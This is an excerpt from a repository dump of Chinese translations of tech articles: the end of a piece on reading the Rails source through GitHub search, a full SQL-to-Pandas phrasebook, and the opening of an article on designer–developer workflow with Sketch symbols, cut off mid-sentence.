Github 是没有用的。\n\n回到步骤 2 中的示例，我试图在 `ActiveRecord::Associations` 中找到 `ClassMethods` 模块。用外行人的话来说，我正在寻找位于 `ActiveRecord` 模块内部的模块 `Associations` 中的 `ClassMethods` 模块。此外，我也在寻找 `belongs_to` 方法。\n\n***\n\n这是我的搜索查询。\n\n![](https://cdn-images-1.medium.com/max/2000/1*iUg2iDC5kaqC8mbw2RZEUw.png)\n\n结果准确地显示了我正在寻找的东西。\n\n![](https://cdn-images-1.medium.com/max/2000/1*XWliUt7xdo2z2WUIwnBmYw.png)\n\n![belongs_to method inside of ClassMethods](https://cdn-images-1.medium.com/max/2000/1*PDjJRgT-JEHgIEwJb5hWkw.png)\n\n### 可能需要更多研究\n\n***\n\nGithub 搜索将会显著的缩小你的搜索范围。因此，你可以更容易的找到一个深入代码库的切入点。\n\n不幸的是，找到类或者方法不一定能给出问题的答案。你可能发现你从一个模块跳到另一个模块，直到你了解全局。\n\n在我的例子中，`belongs_to` 类把我导向了 `BelongsTo` 中的 `build` 方法。这让我找到了 `Association` 的父类。\n\n![build method in BelongsTo class](https://cdn-images-1.medium.com/max/2000/1*Mjx30BZtTxjPqMkdSINoqA.png)\n\n![build method in Association class](https://cdn-images-1.medium.com/max/2000/1*WfqZWDnjg_rUiPZfdH1jGQ.png)\n\n最后，我发现 `belongs_to` 让 Rails 向我的模型添加了几个实例方法，包括 getter 和 setter。它使用一种叫做元编程的高级编程技术来实现这一点。\n\nRails 还创建了一个 `Reflection` 类实例用于存储 association 中的信息。\n\n来自 Rails API [文档](http://api.rubyonrails.org/classes/ActiveRecord/Reflection/ClassMethods.html):\n> Reflection 启用了检查 ActiveRecord 类和对象的关系和聚合的功能。例如，这种功能可以在 form builder 中使用，该 builder 接受一个 Active Record 对象然后根据其类型为所有属性创建输入字段，并显示它与其他对象的关联。\n\n挺简洁的。\n\n## 总结\n\n虽然我不能保证解析别人的代码会很有意思，但这是值得的。它会给你的技术栈添加一项关键的技能，让你更加自由。你将不会再依赖于完整的文档和示例，虽然文档很棒，但它并不是万能的。正如 Jeff Atwood 说的：\n> **你可能可以找到最好的，最权威和最新的文档，但是无论文档说什么，源代码才是最真实的。**\n\n所以快去练习这项技能吧！\n\n我相信你现在肯定有一些你一直都想了解的东西。不要纠结于代码库的大小。打开你最喜欢的框架的仓库然后开始学习。如果你按照我在文章中的步骤来，你很快就能成为一名源码专家。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/how-to-rewrite-your-sql-queries-in-pandas-and-more.md",
    "content": "> * 原文地址：[How to rewrite your SQL queries in Pandas, and more](https://codeburst.io/how-to-rewrite-your-sql-queries-in-pandas-and-more-149d341fc53e)\n> * 原文作者：[Irina Truong](https://codeburst.io/@itruong?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-rewrite-your-sql-queries-in-pandas-and-more.md](https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-rewrite-your-sql-queries-in-pandas-and-more.md)\n> * 译者：[geniusq1981](https://github.com/geniusq1981)\n> * 校对者：[DAA233](https://github.com/DAA233)\n\n# 如何使用 Pandas 重写你的 SQL 查询以及其他操作\n\n![](https://cdn-images-1.medium.com/max/800/1*gKYCyrcudAeE5e5KAbRhBQ.jpeg)\n\n15 年前，软件开发人员只需掌握很少的一些技能，他或她就有机会获得 95% 的工作机会。这些技能包括：\n\n*   面向对象编程\n*   脚本语言\n*   JavaScript 以及其他\n*   SQL\n\n当您需要快速浏览一些数据并得出初步结论时，SQL 是一种常用的工具，这些结论可能会产生一个分析报告或者是编写一个应用程序。这被称之为 **探索性分析**。\n\n现如今，数据会以各种各样的形式出现，不再仅仅是“关系型数据库”的同义词。您的数据可能会是 CSV 文件、纯文本、Parquet、HDF5，或者其他什么格式。这些正是 **Pandas** 库的亮点所在。\n\n### 什么是 Pandas？\n\nPandas，即 Python 数据分析库（Python Data Analysis Library），是一个用于数据分析和处理的 Python 库。它是开源的，被 Anaconda 所支持。它特别适合结构化（表格化）数据。有关更多信息,请参考 [http://pandas.pydata.org/pandas-docs/stable/index.html](http://pandas.pydaxta.org/pandas-docs/stable/index.html)。\n\n### 使用它可以做什么？\n\n之前您在 SQL 里面进行的查询数据以及其他各种操作，都可以由 Pandas 完成！\n\n### 太好了！我要从哪里开始呢？\n\n对于已经习惯于用 SQL 语句来处理数据问题的人来说，这是一个令人生畏的部分。\n\nSQL 是一种 **声明式编程语言**：[https://en.wikipedia.org/wiki/List_of_programming_languages_by_type#Declarative_languages.](https://en.wikipedia.org/wiki/List_of_programming_languages_by_type#Declarative_languages)。\n\n使用 SQL，你通过声明语句来声明想要的内容，这些声明读起来几乎就如同普通英文短句一样顺畅。\n\n而 **Pandas** 的语法与 SQL 完全不同。在 **pandas** 中，您对数据集进行处理，并将它们链在一起，以便按照您希望的方式进行转换和重构。\n\n我们需要一本 **phrasebook（常用语手册）！**\n\n### 剖析 SQL 查询\n\nSQL 查询由几个重要的关键字组成。在这些关键字之间，添加您想要看到的具体数据。下面是一些没有具体数据的查询语句的框架：\n\nSELECT… FROM… WHERE…\n\nGROUP BY… HAVING…\n\nORDER BY…\n\nLIMIT… OFFSET…\n\n当然还有其他命令，但上面这些是最重要的。那么我们如何将这些命令在 Pandas 实现呢？\n\n首先，我们需要向 Pandas 里面加载一些数据，因为它们还没有在数据库中。如下所示：\n\n```Python\nimport pandas as pd\n\nairports = pd.read_csv('data/airports.csv')\nairport_freq = pd.read_csv('data/airport-frequencies.csv')\nrunways = pd.read_csv('data/runways.csv')\n```\n\n我的数据来自 [http://ourairports.com/data/](http://ourairports.com/data/)。\n\n### SELECT, WHERE, DISTINCT, LIMIT\n\n这是一些 SELECT 语句。我们使用 LIMIT 来截取结果，使用 WHERE 来进行过滤筛选，使用 DISTINCT 去除重复的结果。\n\n|  SQL  |   Pandas  |\n|:-----:|:---------:|\n| select * from airports         | airports         |\n| select * from airports limit 3 | airports.head(3) |\n| select id from airports where ident = 'KLAX' | airports[airports.ident == 'KLAX'].id |\n| select distinct type from airport | airports.type.unique() |\n\n### 使用多个条件进行 SELECT 操作\n\n我们将多个条件通过符号 & 组合在一起。如果我们只想要表格列中条件的子集条件，那么可以通过添加另外一对方括号来表示。\n\n|  SQL  |  Pandas  |\n|:-----:|:--------:|\n| select * from airports where iso_region = 'US-CA' and type = 'seaplane_base' | airports[(airports.iso_region == 'US-CA') & (airports.type == 'seaplane_base')] |\n| select ident, name, municipality from airports where iso_region = 'US-CA' and type = 'large_airport' | airports[(airports.iso_region == 'US-CA') & (airports.type == 'large_airport')][['ident', 'name', 'municipality']] |\n\n### ORDER BY（排序）\n\n默认情况下，Pandas 会使用升序排序。如果要使用降序，请设置 asending=False。\n\n|  SQL  |  Pandas  |\n|:-----:|:--------:|\n| select * from airport_freq where airport_ident = 'KLAX' order by type      | airport_freq[airport_freq.airport_ident == 'KLAX'].sort_values('type') |\n| select * from airport_freq where airport_ident = 'KLAX' order by type desc | airport_freq[airport_freq.airport_ident == 'KLAX'].sort_values('type', ascending=False) |\n\n### IN… NOT IN（包含……不包含）\n\n我们知道了如何对值进行筛选，但如何对一个列表进行筛选呢，如同 SQL 的 IN 语句那样？在 Pandas 中，**.isin()** 操作符的工作方式与 SQL 的 IN 相同。要使用否定条件，请使用 **~**。\n\n|  SQL  |  Pandas  |\n|:-----:|:--------:|\n| select * from airports where type in ('heliport', 'balloonport') | airports[airports.type.isin(['heliport', 'balloonport'])]  |\n| select * from airports where type not in ('heliport', 'balloonport') | airports[~airports.type.isin(['heliport', 'balloonport'])] |\n\n### GROUP BY, COUNT, ORDER BY（分组）\n\n分组操作很简单：使用 **.groupby()** 操作符。SQL 和 pandas 中的 **COUNT** 语句存在微妙的差异。在 Pandas 中，**.count()** 将返回非空/非 NaN 的值。要获得与 SQL **COUNT** 相同的结果，请使用 **.size()**。\n\n|  SQL  |  Pandas  |\n|:-----:|:--------:|\n| select iso_country, type, count(&ast;) from airports group by iso_country, type order by iso_country, type | airports.groupby(['iso_country', 'type']).size() |\n| select iso_country, type, count(&ast;) from airports group by iso_country, type order by iso_country, count(&ast;) desc | airports.groupby(['iso_country', 'type']).size().to_frame('size').reset_index().sort_values(['iso_country', 'size'], ascending=[True, False]) |\n\n下面，我们对多个字段进行分组。Pandas 默认情况下将对列表中相同字段上的内容进行排序，因此在第一个示例中不需要 `.sort_values()`。如果我们想使用不同的字段进行排序，或者想使用 **DESC** 而不是 **ASC**，就像第二个例子那样，那我们就必须明确使用 **.sort_values()**：\n\n|  SQL  |  Pandas  |\n|:-----:|:--------:|\n| select iso_country, type, count(&ast;) from airports group by iso_country, type order by iso_country, type | airports.groupby(['iso_country', 'type']).size() |\n| select iso_country, type, count(&ast;) from airports group by iso_country, type order by iso_country, count(&ast;) desc | airports.groupby(['iso_country', 'type']).size().to_frame('size').reset_index().sort_values(['iso_country', 'size'], ascending=[True, False]) |\n\n其中使用 **.to_frame()** 和 **reset_index()** 是为什么呢？因为我们希望通过计算出的字段（**size**）进行排序，所以这个字段需要成为 **DataFrame** 的一部分。在 Pandas 中进行分组之后，我们得到了一个名为 **GroupByObject** 的新类型。所以我们需要使用 **.to_frame()** 把它转换回 **DataFrame** 类型。再使用 `.reset_index()`，我们重新进行数据帧的行编号。\n\n### HAVING（包含）\n\n在 SQL 中，您可以使用 HAVING 条件语句对分组数据进行追加过滤。在 Pandas 中，您可以使用 **.filter()** ，并给它提供一个 Python 函数（或 lambda 函数），如果结果中包含这个组，该函数将返回 **True**。\n\n|  SQL  |  Pandas  |\n|:-----:|:--------:|\n| select type, count(&ast;) from airports where iso_country = 'US' group by type having count(&ast;) > 1000 order by count(&ast;) desc | airports[airports.iso_country == 'US'].groupby('type').filter(lambda g: len(g) > 1000).groupby('type').size().sort_values(ascending=False) |\n\n### 前 N 个记录\n\n假设我们做了一些初步查询，现在有一个名为 **by_country** 的 dataframe，它包含每个国家的机场数量：\n\n![](https://cdn-images-1.medium.com/max/800/0*7BtzYznnc0Eu5Ghv.)\n\n在接下来的第一个示例中，我们通过 **airport_count** 来进行排序，只选择数量最多的 10 个国家。第二个例子比较复杂，我们想要“前 10 名之后的另外 10 名，即 11 到 20 名”：\n\n|  SQL  |  Pandas  |\n|:-----:|:--------:|\n| select iso_country from by_country order by size desc limit 10 | by_country.nlargest(10, columns='airport_count') |\n| select iso_country from by_country order by size desc limit 10 offset 10 | by_country.nlargest(20, columns='airport_count').tail(10) |\n\n### 聚合函数（MIN，MAX，MEAN）\n\n现在给定一组 dataframe，或者一组跑道数据：\n\n![](https://cdn-images-1.medium.com/max/800/0*dl1ZaGt2fYUDlfIL.)\n\n计算跑道长度的最小值，最大值，平均值和中值：\n\n|  SQL  |  Pandas  |\n|:-----:|:--------:|\n| select max(length_ft), min(length_ft), mean(length_ft), median(length_ft) from runways | runways.agg({'length_ft': ['min', 'max', 'mean', 'median']}) |\n\n您会注意到，使用 SQL 查询，每个统计结果都是一列数据。但是使用 Pandas 的聚集方法，每个统计结果都是一行数据：\n\n![](https://cdn-images-1.medium.com/max/800/0*5uJqmyB2KdwpsoY5.)\n\n不用担心 — 只需将 dataframe 通过 **.T** 进行转换就可以得到成列的数据：\n\n![](https://cdn-images-1.medium.com/max/800/0*hONoWL47JSn4LdwW.)\n\n### JOIN（连接）\n\n使用 **.merge()** 来连接 Pandas 的 dataframes。您需要提供要连接哪些列（left_on 和 right_on）和连接类型：**inner**（默认），**left**（对应 SQL 中的 LEFT OUTER），**right**（RIGHT OUTER），或 **OUTER**（FULL OUTER）。\n\n|  SQL  |  Pandas  |\n|:-----:|:--------:|\n| select airport_ident, type, description, frequency_mhz from airport_freq join airports on airport_freq.airport_ref = airports.id where airports.ident = 'KLAX' | airport_freq.merge(airports[airports.ident == 'KLAX'][['id']], left_on='airport_ref', right_on='id', how='inner')[['airport_ident', 'type', 'description', 'frequency_mhz']] |\n\n### UNION ALL and UNION（合并）\n\n使用 **pd.concat()** 替代 **UNION ALL** 来合并两个 dataframes：\n\n|  SQL  |  Pandas  |\n|:-----:|:--------:|\n| select name, municipality from airports where ident = 'KLAX' union all select name, municipality from airports where ident = 'KLGB' | pd.concat([airports[airports.ident == 'KLAX'][['name', 'municipality']], airports[airports.ident == 'KLGB'][['name', 'municipality']]]) |\n\n合并过程中想要删除重复数据（等价于 **UNION**），你还需要添加 **.drop_duplicates()**。\n\n### INSERT（插入）\n\n到目前为止，我们一直在讲筛选，但是在您的探索性分析过程中，您可能也需要修改。如果您想添加一些遗漏的记录你该怎么办?\n\nPandas 里面没有形同 **INSERT** 语句的方法。相反，您只能创建一个包含新记录的新 dataframe，然后合并两个 dataframe：\n\n|  SQL  |  Pandas  |\n|:-----:|:--------:|\n| create table heroes (id integer, name text); | df1 = pd.DataFrame({'id': [1, 2], 'name': ['Harry Potter', 'Ron Weasley']}) |\n| insert into heroes values (1, 'Harry Potter'); | df2 = pd.DataFrame({'id': [3], 'name': ['Hermione Granger']}) |\n| insert into heroes values (2, 'Ron Weasley'); | |\n| insert into heroes values (3, 'Hermione Granger'); | pd.concat([df1, df2]).reset_index(drop=True) |\n\n### UPDATE（更新）\n\n现在我们需要修改原始 dataframe 中的一些错误数据：\n\n|  SQL  |  Pandas  |\n|:-----:|:--------:|\n| update airports set home_link = 'http://www.lawa.org/welcomelax.aspx' where ident == 'KLAX' | airports.loc[airports['ident'] == 'KLAX', 'home_link'] = 'http://www.lawa.org/welcomelax.aspx' |\n\n### DELETE（删除）\n\n从 Pandas dataframe 中“删除”数据的最简单(也是最易读的)方法是将 dataframe 提取包含您希望保留的行数据的子集。或者，您可以通过获取行索引来进行删除，使用 **.drop()** 方法删除这些索引的行：\n\n|  SQL  |  Pandas  |\n|:-----:|:--------:|\n| delete from lax_freq where type = 'MISC' | lax_freq = lax_freq[lax_freq.type != 'MISC'] |\n|  | lax_freq.drop(lax_freq[lax_freq.type == 'MISC'].index) |\n\n### Immutability（不变性）\n\n我需要提及一件重要的事情 — 不可变性。默认情况下，大部分应用于 Pandas dataframe 的操作符都会返回一个新对象。有些操作符可以接收 **inplace=True** 参数，这样您可以继续使用原始的 dataframe。例如，以下是一个就地重置索引的方法：\n\n```Python\ndf.reset_index(drop=True, inplace=True)\n```\n\n然而,上面的 **UPDATE** 示例中的 **.loc** 操作符仅定位需要更新记录的索引，并且这些值会就地更改。此外，如果您更新了一列的所有值：\n\n```Python\ndf['url'] = 'http://google.com'\n```\n\n或者添加一个计算得出的新列：\n\n```Python\ndf['total_cost'] = df['price'] * df['quantity']\n```\n\n这些都会就地发生变化。\n\n### 更多！\n\nPandas 的好处在于它不仅仅是一个查询引擎。你可以用你的数据做更多事情，例如：\n\n*   以多种格式输出：\n\n```Python\ndf.to_csv(...)  # csv file\ndf.to_hdf(...)  # HDF5 file\ndf.to_pickle(...)  # serialized object\ndf.to_sql(...)  # to SQL database\ndf.to_excel(...)  # to Excel sheet\ndf.to_json(...)  # to JSON string\ndf.to_html(...)  # render as HTML table\ndf.to_feather(...)  # binary feather-format\ndf.to_latex(...)  # tabular environment table\ndf.to_stata(...)  # Stata binary data files\ndf.to_msgpack(...)\t# msgpack (serialize) object\ndf.to_gbq(...)  # to a Google BigQuery table.\ndf.to_string(...)  # console-friendly tabular output.\ndf.to_clipboard(...) # clipboard that can be pasted into Excel\n```\n\n*   绘制图表：\n\n```Python\ntop_10.plot(\n    x='iso_country', \n    y='airport_count',\n    kind='barh',\n    figsize=(10, 7),\n    title='Top 10 countries with most airports')\n```\n\n去看看一些很不错的图表！\n\n![](https://cdn-images-1.medium.com/max/800/0*wiV3vIJWP7_c3sT7.)\n\n*   共享：\n\n共享 Pandas 查询结果、绘图和相关内容的最佳媒介是 Jupyter notebooks（[http://jupyter.org/](http://jupyter.org/)）。事实上，有些人（比如杰克·范德普拉斯（Jake Vanderplas），他太棒了）会把整本书都发布在 Jupyter notebooks 上：[https://github.com/jakevdp/PythonDataScienceHandbook](https://github.com/jakevdp/PythonDataScienceHandbook)。\n\n很简单就可以创建一个新的笔记本：\n\n```Python\npip install jupyter\njupyter notebook\n```\n\n之后：\n- 打开 localhost:8888\n- 点击“新建”，并给笔记本起个名字\n- 查询并显示数据\n- 创建一个 GitHub 仓库，并添加您的笔记本到仓库中（后缀为 **.ipynb** 的文件）。\n\nGitHub 有一个很棒的内置查看器，可以以 Markdown 的格式显示 Jupyter notebooks 的内容。\n\n### 现在，你可以开始你的 Pandas 之旅了！\n\n我希望您现在确信，Pandas 库可以像您的老朋友 SQL 一样帮助您进行探索性数据分析，在某些情况下甚至会做得更好。是时候你自己动手开始在 Pandas 里查询数据了！\n\n[![](https://cdn-images-1.medium.com/max/1000/1*i3hPOj27LTt0ZPn5TQuhZg.png)](http://bit.ly/codeburst)\n\n> ✉️ _Subscribe to_ CodeBurst’s _once-weekly_ [**_Email Blast_**](http://bit.ly/codeburst-email)**_,_** 🐦 _Follow_ CodeBurst _on_ [**_Twitter_**](http://bit.ly/codeburst-twitter)_, view_ 🗺️ [**_The 2018 Web Developer Roadmap_**](http://bit.ly/2018-web-dev-roadmap)_, and_ 🕸️ [**_Learn Full Stack Web Development_**](http://bit.ly/learn-web-dev-codeburst)_._\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/how-to-save-ui-designers-front-end-developers-up-to-50-of-their-time.md",
    "content": "> * 原文地址：[How to Save UI Designers & Front-End Developers up to 50% of Their Time](https://uxplanet.org/how-to-save-ui-designers-front-end-developers-up-to-50-of-their-time-39a30254ec05)\n> * 原文作者：[Henry Latham](https://uxplanet.org/@LathamHenry)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-save-ui-designers-front-end-developers-up-to-50-of-their-time.md](https://github.com/xitu/gold-miner/blob/master/TODO1/how-to-save-ui-designers-front-end-developers-up-to-50-of-their-time.md)\n> * 译者：[meterscao](https://twitter.com/meterscao)\n> * 校对者：[rockyzhengwu](https://github.com/rockyzhengwu), [Park-ma](https://github.com/Park-ma)\n\n# 如何提升设计到开发的协作效率\n\n## 为什么一月会有圣诞节\n\n**提示：这篇文章有很多有趣和无趣的表情包，也有很多大图。除非你不在乎流量费用，建议最好还是先连上 Wi-Fi 。而且这篇文章真的非常长，你还可以准备一桶爆米花和可乐（笑）。**\n\n### 一月的圣诞节？\n\n当你还是个小孩的时候，圣诞节真的真的非常令人兴奋。一想到圣诞老人带来的礼物，以及打开礼物时的场景，让整个月都充满了难以想象的兴奋和喜悦。\n\n![](https://media.giphy.com/media/l1AvyLF0Sdg6wSZZS/giphy.gif)\n\n在我作为UI设计师的生涯里，当我第一次使用 Sketch App 时，我也像个孩子一样的兴奋：\n\n> “你是认真的吗？！在过去的 3 个月里，我可能已经在 Photoshop 那些愚蠢的小像素图形中浪费了 90％ 的时间，它们甚至看起来都不是我想要的样子。为什么之前没有人告诉我有这个 App ？！太难以置信了。”\n\n作为一名设计师，我的职业生涯中只有两个阶段：Sketch 之前的生活（BS）和 Sketch 之后生活（AS）。\n\n我不想说 Sketch 之前的生活，简直糟糕透了。所有的东西看起来都……有些不一样，有些怪，呃……有点像素化。设计一个标题就差不多要花掉一个星期的时间，更不用说设计一个完整的页面了。\n\n有了 Sektch 之后的生活简直不要太爽。我敢说你甚至可以跟一帮小朋友组建一个设计团队。\n\n你可以重复使用各种元素。它们都是精美的，矢量化的，有条理的，并且非常简洁和直观。\n\n好吧，如果你是产品经理，设计师或前端工程师，现在你也会孩子一样地兴奋。\n\n可能现在是一月初，但我感觉就像圣诞节一样。**欢迎来到对象驱动设计的世界。**\n\n**作者注：当我在耶路撒冷和约旦河西岸写这篇文章的时候，看到一些圣诞树还摆在上面......从那时起就注意到一些东正教基督教日历中圣诞节实际上是在 1 月的。然后发现我的标题有点荒谬和吸睛......**\n\n![[免费下载这个 UI 工具包](http://eepurl.com/dhWTbP)](https://cdn-images-1.medium.com/max/2000/1*Nb36bdEIFdzIPcrk3Zlc3w.jpeg)\n\n在这篇内容丰富且充满乐趣的文章中，我将解释：\n\n1.  什么是对象驱动的设计\n2.  为什么这些问题仍然没有解决\n3.  为什么不使用面向对象的设计会有很大的风险\n4.  如何在设计流程中采用面向对象的设计\n\n通过我的方法，让 UI 设计师可以花更多的时间做快乐的设计，让前端开发能集中精力开发功能，而不是在那里一个像素一个像素地调间距。设计到开发的流程（我简称为 “D2D”）效率将真正提高十倍。\n\n![你一定会大吃一惊](https://media.giphy.com/media/q4sdF9tchap6E/giphy.gif \"你一定会大吃一惊\")\n\n## 你为什么要关心这个？\n\n许多产品经理和UI设计师读到这里都会想，\n\n**“我已经用了 3 年 Sketch 的 Symbols 和 Typography  功能，说一些我不知道的东西吧，然后停止你那愚蠢的圣诞节比喻。”**\n\n他们并没有错。我猜想大多数设计师**一定程度上**都会在 Sketch 文件里创建可重用的 Symbols（类似于编程术语中的“对象”）。\n\n**但是，在过去的两年中，和我合作的设计师里从来没有人能找到一种全面的方式，来改善 D2D 交付过程中的低效问题。**\n\n## 这个问题存在的 3 个原因\n\n在深入研究 D2D 问题之前，首先要说明白：既然已经有这么多的设计工具了，为什么仍然存在 D2D 效率低下的问题。\n\n### 1. 平庸的标准\n\n不幸的是，许多读者会自信地认为，这不是他们或他们的公司会遇到的问题。\n\n因为生产力和效率是相对的。很少有 UI 设计师和产品经理能意识到：可能会存在一个比现在更好的设计流程。\n\n我们倾向于以我们周围的其他创业公司和 UI 设计师为标准。如果每个人都以相同的方式工作，那么它可能就是最有效的，对不对？\n\n不对。\n\n我们有一种最常见的偏见，会基于我们的认知对这个世界上的事物产生刻板的印象，就像我们现在说的“效率”。\n\n![](https://cdn-images-1.medium.com/max/1600/1*vBBSJ4W5Y4NxOAtlLP2qPQ.jpeg)\n\n举个例子：\n\n**假如我有些超重，但我所有的朋友都很胖。当我周围的人都比我胖的时候，我很可能会认为自己是一个健康的人，因为我的参考点（我肥胖的朋友们）比我更糟糕。**\n\n**然而，仅仅因为他们不如我健康，并不一定意味着我就是健康的。我的体重依旧超重。**\n\n因此，为了实现效率的明显**飞跃**，就得去打破平庸的标准，并且不断尝试创新。\n\n> “如果我问人们想要什么，他们会说更快的马。”\n> **—— 亨利·福特**\n\n### 2. 盲目相信现有的流程\n\nD2D 效率低下一直存在的一个原因是，我们总是假设我们在公司使用的这些流程和方法都已经是最优的。\n\n但是事实并非如此。\n\n首先，不管是否真的遵循敏捷开发的思想，效率低下的问题总会存在。特别有些是你甚至都可能意识不到的问题。\n\n其次，你一定能意识到，由于缺乏统一的合作和竞争体系，项目一开始就会立即进入“互相抢占资源，而非高效合作”的局面，正如 LeanUX 的作者 Jeff Gothelf 所描述的那样。\n\n这样的场景往往意味着设计师资源变得紧缺，通常在少数产品经理和大量程序员之间共享。设计师对应多个产品和开发，这导致他们之间的合作也可能会变得混乱和无序。因此，UI 设计师很少能够停下来，尝试做一些系统化的设计方案，使其具有更高的灵活性。\n\n只有遵循对象驱动的设计流程，才能实现真正意义上的速度和敏捷。\n\n![产品开发周期的（夸大的）现实](https://media.giphy.com/media/HUkOv6BNWc1HO/giphy.gif \"产品开发周期的（夸大的）现实\")\n\n### 3. 设计师和程序员是完全不同的人\n\n在我们美好的想象中，设计师每周都能进行设计评审和回顾，无所不能的产品经理也能高效地与每个人沟通和配合。没错，对于检验**做没做**很容易，但是对于**怎么做**就很难。\n\n这可以归结为：UI设计师和前端工程师之间的根本误解，或者说是专业鸿沟。\n\n![典型的 UI 设计师形象：精心修剪的胡须，新颖时尚的装扮](https://cdn-images-1.medium.com/max/1600/1*4sv72hGSswh5z5oUBLjQGA.jpeg \"典型的 UI 设计师形象：精心修剪的胡须，新颖时尚的装扮\")\n\n**UI设计师**倾向于认为自己是艺术家，他们的作品是**艺术品**。**只要**用户能够理解他们作品中的美，他们的产品就能拥有**数百万**用户。\n\n他们喜欢排版，并热衷于手工艺和手冲咖啡。他们最喜欢的颜色是 #FEB4B1。\n\n![典型的程序员形象：毫不在乎的打扮，极其小众的兴趣爱好，比如 Magic The Gathering（译者注：一种集换式卡牌游戏。）](https://media.giphy.com/media/Pch8FiF08bc1G/giphy.gif \"典型的程序员形象：毫不在乎的打扮，极其小众的兴趣爱好，比如 Magic The Gathering （译者注：一种集换式卡牌游戏。）\")\n\n**程序员**，他们只想创造很酷炫的东西，他们并不太关心它们看起来的样子和视觉表现。对他们来讲，“样式” 这个难以捉摸的概念是留给艺术家的，对他们来说就像“约会”一样陌生。他们并不能理解为什么红色的阴影是**更**红的，为什么标题文本应该往左边**一点点**。\n\n当不被打扰地独自为一些复杂的新项目写代码的时候，才是他们最开心的时候。\n\n---- \n\n**从本质上讲，他们是不同的人。** 不同的专业技能，不同的思考方式，不同的兴趣爱好。\n\n他们每个人都认为彼此的专业领域都是令人难以置信的复杂和费解的。因此，他们不惜一切代价避免介入彼此的领域。\n\n![程序员眼里设计师的工作](https://cdn-images-1.medium.com/max/1600/1*u3XoSRSQpivSn1gcCwsfxQ.jpeg \"程序员眼里设计师的工作\")\n\n![设计师眼里程序员的工作](https://cdn-images-1.medium.com/max/1600/1*RZ5gOgjgtvslNcqYrZ78Hw.jpeg \"设计师眼里程序员的工作\")\n\n也许两个群体都不知道，或者坦白地说不关心，现在UI设计师的视觉工作和前端工程师的工作已经有很多重合的部分。\n\n基于此，如果这两个角色建立了一种明确的设计语言（也就是 Sketch 中的 Symbols）的话，那么 D2D 流程将会非常简单和快速。\n\n但是，由于每个角色对彼此孤立的工作并不感兴趣，因此他们之间仍存在非常明显的知识差距，这是另一个导致团队 D2D 流程低效的原因。\n\n因此，UI设计师和前端工程师使用统一的设计语言，对改善低效是非常有意义的：\n\n> “产生良好结果的模式应该被推广，而那些造成问题的人应该得到纠正。”\n> —— Jeff Gothelf，Lean UX 的作者\n\n![React Native — 对象起的作用](https://cdn-images-1.medium.com/max/1600/1*CRotLNVwJOkvunucRFr9eg.png \"React Native — 对象起的作用\")\n\n![Sketch — Symbol 起的作用](https://cdn-images-1.medium.com/max/1600/1*CtF2FIGBm9GuUWnDP-TS0g.png \"Sketch — Symbol 起的作用\")\n\n## 4. 无法遵循对象驱动设计存在的问题\n\n### 1. 设计系统的缺失会浪费设计师和程序员大量的时间\n\n![简单的 UI 与复杂的 UI](https://cdn-images-1.medium.com/max/1600/1*VQlMEHrQOCI5LtgcZf4VuA.jpeg \"简单的 UI 与复杂的 UI\")\n\n**UI 设计师**\n\n理论上，D2D 交付流程应该是直接的。\n\n理论上，UI 设计师已经与前端开发能达成一致，并且可以无缝地协作。\n\n理论上，他们会事先约定好统一的设计语言，并且使用可重用的组件和元素。设计师在 Sketch 中复制粘贴一下，前端开发一两行代码就能搞定。\n\n然而，理论却很少能转化为现实。\n\n实际情况是，大多数 UI 设计师会花大量时间设计一些新的自定义元素。\n\n首先，因为他们不是程序员，所以他们不明白实现这些新的设计元素需要额外做很多的工作。\n\n其次，许多 UI 设计师认为他们的作品是艺术，而不是科学。因此他们并不情愿为了实用主义而牺牲作品的美感。\n\n![成为 UI 设计师后发现竟然不能挣到钱，梦想破灭了。](https://media.giphy.com/media/l0GRkzJhkMlJotMFq/giphy.gif \"成为 UI 设计师后发现竟然不能挣到钱，梦想破灭了。\")\n\n他们喜欢花费大量的时间对现有元素进行细微的调整，而不是把很容易实现的设计稿尽快交付给前端工程师。\n\n他们花了太多的时间和精力在细节上（比如把文本移动几个像素）而不是项目重心上（比如设计和体验一个新的功能）。\n\n细节是很重要，但是当已有的 UI 元素已经很好地满足需求和场景了，很难证明这些细节的调整真的会带来有效的提升。\n\nUI 